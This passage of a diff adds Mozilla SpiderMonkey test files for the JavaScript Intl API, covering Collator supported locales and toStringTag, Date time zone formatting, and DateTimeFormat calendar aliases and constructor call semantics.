+var Intl_Collator_compare_get = Object.getOwnPropertyDescriptor(Intl.Collator.prototype, "compare").get;
+
+assertEq(Intl_Collator_compare_get.call(ccwCollator)("a", "A"),
+ Intl_Collator_compare_get.call(collator)("a", "A"));
+
+// Test Intl.Collator.prototype.resolvedOptions with a CCW object.
+var Intl_Collator_resolvedOptions = Intl.Collator.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_Collator_resolvedOptions.call(ccwCollator),
+ Intl_Collator_resolvedOptions.call(collator)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Collator/shell.js b/js/src/tests/non262/Intl/Collator/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/shell.js
diff --git a/js/src/tests/non262/Intl/Collator/supportedLocalesOf.js b/js/src/tests/non262/Intl/Collator/supportedLocalesOf.js
new file mode 100644
index 0000000000..7fbebca094
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/supportedLocalesOf.js
@@ -0,0 +1,355 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// collation whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-POSIX",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "ga",
+ "ga-IE",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+
+var count = Intl.Collator.supportedLocalesOf(locales).length;
+
+reportCompare(locales.length, count, "Number of supported locales in Intl.Collator");
diff --git a/js/src/tests/non262/Intl/Collator/toStringTag.js b/js/src/tests/non262/Intl/Collator/toStringTag.js
new file mode 100644
index 0000000000..e092418df9
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/toStringTag.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var desc = Object.getOwnPropertyDescriptor(Intl.Collator.prototype, Symbol.toStringTag);
+
+assertEq(desc !== undefined, true);
+assertEq(desc.value, "Intl.Collator");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(Object.prototype.toString.call(Intl.Collator.prototype), "[object Intl.Collator]");
+assertEq(Object.prototype.toString.call(new Intl.Collator), "[object Intl.Collator]");
+
+Object.defineProperty(Intl.Collator.prototype, Symbol.toStringTag, {value: "Collator"});
+
+assertEq(Object.prototype.toString.call(Intl.Collator.prototype), "[object Collator]");
+assertEq(Object.prototype.toString.call(new Intl.Collator), "[object Collator]");
+
+delete Intl.Collator.prototype[Symbol.toStringTag];
+
+assertEq(Object.prototype.toString.call(Intl.Collator.prototype), "[object Object]");
+assertEq(Object.prototype.toString.call(new Intl.Collator), "[object Object]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Date/browser.js b/js/src/tests/non262/Intl/Date/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/browser.js
diff --git a/js/src/tests/non262/Intl/Date/shell.js b/js/src/tests/non262/Intl/Date/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/shell.js
diff --git a/js/src/tests/non262/Intl/Date/toLocaleDateString_timeZone.js b/js/src/tests/non262/Intl/Date/toLocaleDateString_timeZone.js
new file mode 100644
index 0000000000..345befb678
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/toLocaleDateString_timeZone.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = { timeZoneName: "short" };
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12/6/2012, UTC",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "12/6/2012, PST",
+ },
+ {
+ timeZone: "Europe/Berlin", locale: "de",
+ options: { timeZoneName: "short" },
+ result: "6.12.2012, MEZ",
+ },
+ {
+ timeZone: "Europe/Paris", locale: "fr",
+ options: { timeZoneName: "long" },
+ result: "06/12/2012 à heure normale d’Europe centrale",
+ },
+ {
+ timeZone: "Asia/Shanghai", locale: "zh-Hans-CN",
+ options: { timeZoneName: "long" },
+ result: "2012/12/6 中国标准时间",
+ },
+ {
+ timeZone: { toString: () => "Australia/Melbourne" }, locale: "en-AU",
+ result: "06/12/2012, AEDT",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ let s = new Date(date).toLocaleDateString(locale, Object.assign({timeZone}, options));
+ assertEq(s, result);
+}
+
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let locale = defaultLocale;
+ let date = defaultDate;
+ let options = defaultOptions;
+
+ let absentTz = new Date(date).toLocaleDateString(locale, Object.assign({}, options));
+ let undefinedTz = new Date(date).toLocaleDateString(locale, Object.assign({timeZone: undefined}, options));
+ assertEq(undefinedTz, absentTz);
+}
+
+
+// RangeError is thrown for invalid time zone names.
+for (let timeZone of ["", "undefined", "UTC\0", "Vienna", "Africa", "America/NewYork"]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleDateString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// RangeError is thrown for these values, because ToString(<value>)
+// isn't a valid time zone name.
+for (let timeZone of [null, 0, 0.5, true, false, [], {}, function() {}]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleDateString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleDateString(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/Date/toLocaleString_timeZone.js b/js/src/tests/non262/Intl/Date/toLocaleString_timeZone.js
new file mode 100644
index 0000000000..63e3700342
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/toLocaleString_timeZone.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = {};
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12/6/2012, 12:00:00 PM",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "12/6/2012, 4:00:00 AM",
+ },
+ {
+ timeZone: "Europe/Berlin", locale: "de",
+ options: { timeZoneName: "short" },
+ result: "6.12.2012, 13:00:00 MEZ",
+ },
+ {
+ timeZone: "Europe/Paris", locale: "fr",
+ options: { timeZoneName: "long" },
+ result: "06/12/2012 à 13:00:00 heure normale d’Europe centrale",
+ },
+ {
+ timeZone: "Asia/Shanghai", locale: "zh-Hans-CN",
+ options: { timeZoneName: "long" },
+ result: "2012/12/6 中国标准时间 下午8:00:00",
+ },
+ {
+ timeZone: { toString: () => "Australia/Melbourne" }, locale: "en-AU",
+ result: "06/12/2012, 11:00:00 pm",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ let s = new Date(date).toLocaleString(locale, Object.assign({timeZone}, options));
+ assertEq(s, result);
+}
+
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let locale = defaultLocale;
+ let date = defaultDate;
+ let options = defaultOptions;
+
+ let absentTz = new Date(date).toLocaleString(locale, Object.assign({}, options));
+ let undefinedTz = new Date(date).toLocaleString(locale, Object.assign({timeZone: undefined}, options));
+ assertEq(undefinedTz, absentTz);
+}
+
+
+// RangeError is thrown for invalid time zone names.
+for (let timeZone of ["", "undefined", "UTC\0", "Vienna", "Africa", "America/NewYork"]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// RangeError is thrown for these values, because ToString(<value>)
+// isn't a valid time zone name.
+for (let timeZone of [null, 0, 0.5, true, false, [], {}, function() {}]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleString(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/Date/toLocaleTimeString_timeZone.js b/js/src/tests/non262/Intl/Date/toLocaleTimeString_timeZone.js
new file mode 100644
index 0000000000..14799a2874
--- /dev/null
+++ b/js/src/tests/non262/Intl/Date/toLocaleTimeString_timeZone.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = {};
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12:00:00 PM",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "4:00:00 AM",
+ },
+ {
+ timeZone: "Europe/Berlin", locale: "de",
+ options: { timeZoneName: "short" },
+ result: "13:00:00 MEZ",
+ },
+ {
+ timeZone: "Europe/Paris", locale: "fr",
+ options: { timeZoneName: "long" },
+ result: "13:00:00 heure normale d’Europe centrale",
+ },
+ {
+ timeZone: "Asia/Shanghai", locale: "zh-Hans-CN",
+ options: { timeZoneName: "long" },
+ result: "中国标准时间 下午8:00:00",
+ },
+ {
+ timeZone: { toString: () => "Australia/Melbourne" }, locale: "en-AU",
+ result: "11:00:00 pm",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ let s = new Date(date).toLocaleTimeString(locale, Object.assign({timeZone}, options));
+ assertEq(s, result);
+}
+
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let locale = defaultLocale;
+ let date = defaultDate;
+ let options = defaultOptions;
+
+ let absentTz = new Date(date).toLocaleTimeString(locale, Object.assign({}, options));
+ let undefinedTz = new Date(date).toLocaleTimeString(locale, Object.assign({timeZone: undefined}, options));
+ assertEq(undefinedTz, absentTz);
+}
+
+
+// RangeError is thrown for invalid time zone names.
+for (let timeZone of ["", "undefined", "UTC\0", "Vienna", "Africa", "America/NewYork"]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleTimeString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// RangeError is thrown for these values, because ToString(<value>)
+// isn't a valid time zone name.
+for (let timeZone of [null, 0, 0.5, true, false, [], {}, function() {}]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleTimeString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleTimeString(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/browser.js b/js/src/tests/non262/Intl/DateTimeFormat/browser.js
new file mode 100644
index 0000000000..5665e7ed44
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/browser.js
@@ -0,0 +1,3 @@
+if (typeof setTimeZone === "undefined") {
+ var setTimeZone = SpecialPowers.Cu.getJSTestingFunctions().setTimeZone;
+}
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/calendar-aliases.js b/js/src/tests/non262/Intl/DateTimeFormat/calendar-aliases.js
new file mode 100644
index 0000000000..901adcb45f
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/calendar-aliases.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Ensure ethiopic-amete-alem is resolved to ethioaa instead of ethiopic.
+function testEthiopicAmeteAlem() {
+ var locale = "am-ET-u-nu-latn";
+ var opts = {timeZone: "Africa/Addis_Ababa"};
+ var dtfEthiopicAmeteAlem = new Intl.DateTimeFormat(`${locale}-ca-ethiopic-amete-alem`, opts);
+ var dtfEthioaa = new Intl.DateTimeFormat(`${locale}-ca-ethioaa`, opts);
+ var dtfEthiopic = new Intl.DateTimeFormat(`${locale}-ca-ethiopic`, opts);
+
+ var date = new Date(2016, 1 - 1, 1);
+
+ assertEq(dtfEthiopicAmeteAlem.format(date), dtfEthioaa.format(date));
+ assertEq(dtfEthiopicAmeteAlem.format(date) === dtfEthiopic.format(date), false);
+}
+
+// Ensure islamicc is resolved to islamic-civil.
+function testIslamicCivil() {
+ var locale = "ar-SA-u-nu-latn";
+ var opts = {timeZone: "Asia/Riyadh"};
+ var dtfIslamicCivil = new Intl.DateTimeFormat(`${locale}-ca-islamic-civil`, opts);
+ var dtfIslamicc = new Intl.DateTimeFormat(`${locale}-ca-islamicc`, opts);
+ var dtfIslamic = new Intl.DateTimeFormat(`${locale}-ca-islamic`, opts);
+
+ var date = new Date(2016, 1 - 1, 1);
+
+ assertEq(dtfIslamicCivil.format(date), dtfIslamicc.format(date));
+ assertEq(dtfIslamicCivil.format(date) === dtfIslamic.format(date), false);
+}
+
+testEthiopicAmeteAlem();
+testIslamicCivil();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/calendar-option.js b/js/src/tests/non262/Intl/DateTimeFormat/calendar-option.js
new file mode 100644
index 0000000000..cbf73df5c9
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/calendar-option.js
@@ -0,0 +1,67 @@
+const defaultLocale = "en";
+const defaultCalendar = new Intl.DateTimeFormat(defaultLocale).resolvedOptions().calendar;
+
+function createWithLocale(locale, calendar) {
+ return new Intl.DateTimeFormat(locale, {calendar});
+}
+
+function create(calendar) {
+ return createWithLocale(defaultLocale, calendar);
+}
+
+// Empty string should throw.
+assertThrowsInstanceOf(() => create(""), RangeError);
+
+// Trailing \0 should throw.
+assertThrowsInstanceOf(() => create("gregory\0"), RangeError);
+
+// Too short or too long strings should throw.
+assertThrowsInstanceOf(() => create("a"), RangeError);
+assertThrowsInstanceOf(() => create("toolongstring"), RangeError);
+
+// Throw even when prefix is valid.
+assertThrowsInstanceOf(() => create("gregory-toolongstring"), RangeError);
+
+// |calendar| can be set to |undefined|.
+let dtf = create(undefined);
+assertEq(dtf.resolvedOptions().calendar, defaultCalendar);
+
+// Unsupported calendars are ignored.
+dtf = create("xxxxxxxx");
+assertEq(dtf.resolvedOptions().calendar, defaultCalendar);
+
+// Calendars in options overwrite Unicode extension keyword.
+dtf = createWithLocale(`${defaultLocale}-u-ca-iso8601`, "japanese");
+assertEq(dtf.resolvedOptions().locale, defaultLocale);
+assertEq(dtf.resolvedOptions().calendar, "japanese");
+
+// |calendar| option ignores case.
+dtf = create("CHINESE");
+assertEq(dtf.resolvedOptions().locale, defaultLocale);
+assertEq(dtf.resolvedOptions().calendar, "chinese");
+
+const calendars = [
+ "buddhist", "chinese", "coptic", "dangi", "ethioaa", "ethiopic-amete-alem",
+ "ethiopic", "gregory", "hebrew", "indian", "islamic", "islamic-umalqura",
+ "islamic-tbla", "islamic-civil", "islamic-rgsa", "iso8601", "japanese",
+ "persian", "roc", "islamicc",
+];
+
+// https://github.com/tc39/proposal-intl-locale/issues/96
+const canonical = {
+ "islamicc": "islamic-civil",
+ "ethiopic-amete-alem": "ethioaa",
+};
+
+for (let calendar of calendars) {
+ let dtf1 = new Intl.DateTimeFormat(`${defaultLocale}-u-ca-${calendar}`);
+ let dtf2 = new Intl.DateTimeFormat(defaultLocale, {calendar});
+
+ assertEq(dtf1.resolvedOptions().calendar, canonical[calendar] ?? calendar);
+ assertEq(dtf2.resolvedOptions().calendar, canonical[calendar] ?? calendar);
+
+ assertEq(dtf2.format(0), dtf1.format(0));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/call.js b/js/src/tests/non262/Intl/DateTimeFormat/call.js
new file mode 100644
index 0000000000..e2b7334789
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/call.js
@@ -0,0 +1,182 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function IsPrimitive(o) {
+ return Object(o) !== o;
+}
+
+function thisValues() {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.map(ctor => {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Object inheriting from an Intl constructor prototype.
+ Object.create(ctor.prototype),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+ })),
+ ];
+}
+
+const intlFallbackSymbol = Object.getOwnPropertySymbols(Intl.DateTimeFormat.call(Object.create(Intl.DateTimeFormat.prototype)))[0];
+
+// Invoking [[Call]] for Intl.DateTimeFormat returns a new instance unless called
+// with an instance inheriting from Intl.DateTimeFormat.prototype.
+for (let thisValue of thisValues()) {
+ let obj = Intl.DateTimeFormat.call(thisValue);
+
+ if (!Intl.DateTimeFormat.prototype.isPrototypeOf(thisValue)) {
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.DateTimeFormat, true);
+ if (IsObject(thisValue))
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+ } else {
+ assertEq(Object.is(obj, thisValue), true);
+ assertEq(obj instanceof Intl.DateTimeFormat, true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+ }
+}
+
+// Intl.DateTimeFormat uses the legacy Intl constructor compromise semantics.
+// - Test when InstanceofOperator(thisValue, %DateTimeFormat%) returns true.
+for (let thisValue of thisValues().filter(IsObject)) {
+ let hasInstanceCalled = false;
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return true;
+ }, configurable: true
+ });
+ let obj = Intl.DateTimeFormat.call(thisValue);
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), true);
+ assertEq(hasInstanceCalled, true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+// - Test when InstanceofOperator(thisValue, %DateTimeFormat%) returns false.
+for (let thisValue of thisValues().filter(IsObject)) {
+ let hasInstanceCalled = false;
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return false;
+ }, configurable: true
+ });
+ let obj = Intl.DateTimeFormat.call(thisValue);
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.DateTimeFormat, true);
+ assertEq(hasInstanceCalled, true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+// - Test with primitive values.
+for (let thisValue of thisValues().filter(IsPrimitive)) {
+ // Ensure @@hasInstance is not called.
+ Object.defineProperty(Intl.DateTimeFormat, Symbol.hasInstance, {
+ value() { assertEq(true, false); }, configurable: true
+ });
+ let obj = Intl.DateTimeFormat.call(thisValue);
+ delete Intl.DateTimeFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.DateTimeFormat, true);
+}
+
+// Throws an error when attempting to install [[FallbackSymbol]] twice.
+{
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+
+ assertEq(Intl.DateTimeFormat.call(thisValue), thisValue);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+
+ assertThrowsInstanceOf(() => Intl.DateTimeFormat.call(thisValue), TypeError);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+
+// Throws an error when the thisValue is non-extensible.
+{
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Object.preventExtensions(thisValue);
+
+ assertThrowsInstanceOf(() => Intl.DateTimeFormat.call(thisValue), TypeError);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+// [[FallbackSymbol]] is installed as a frozen property holding an Intl.DateTimeFormat instance.
+{
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ Intl.DateTimeFormat.call(thisValue);
+
+ let desc = Object.getOwnPropertyDescriptor(thisValue, intlFallbackSymbol);
+ assertEq(desc !== undefined, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(desc.value instanceof Intl.DateTimeFormat, true);
+}
+
+// Ensure [[FallbackSymbol]] is installed last by changing the [[Prototype]]
+// during initialization.
+{
+ let thisValue = {};
+ let options = {
+ get hour12() {
+ Object.setPrototypeOf(thisValue, Intl.DateTimeFormat.prototype);
+ return false;
+ }
+ };
+ let obj = Intl.DateTimeFormat.call(thisValue, undefined, options);
+ assertEq(Object.is(obj, thisValue), true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+{
+ let thisValue = Object.create(Intl.DateTimeFormat.prototype);
+ let options = {
+ get hour12() {
+ Object.setPrototypeOf(thisValue, Object.prototype);
+ return false;
+ }
+ };
+ let obj = Intl.DateTimeFormat.call(thisValue, undefined, options);
+ assertEq(Object.is(obj, thisValue), false);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DateTimeFormat/construct-newtarget.js b/js/src/tests/non262/Intl/DateTimeFormat/construct-newtarget.js
new file mode 100644
index 0000000000..bbc08c79a1
--- /dev/null
+++ b/js/src/tests/non262/Intl/DateTimeFormat/construct-newtarget.js
@@ -0,0 +1,81 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Test subclassing %Intl.DateTimeFormat% works correctly.
+class MyDateTimeFormat extends Intl.DateTimeFormat {}
+
+var obj = new MyDateTimeFormat();
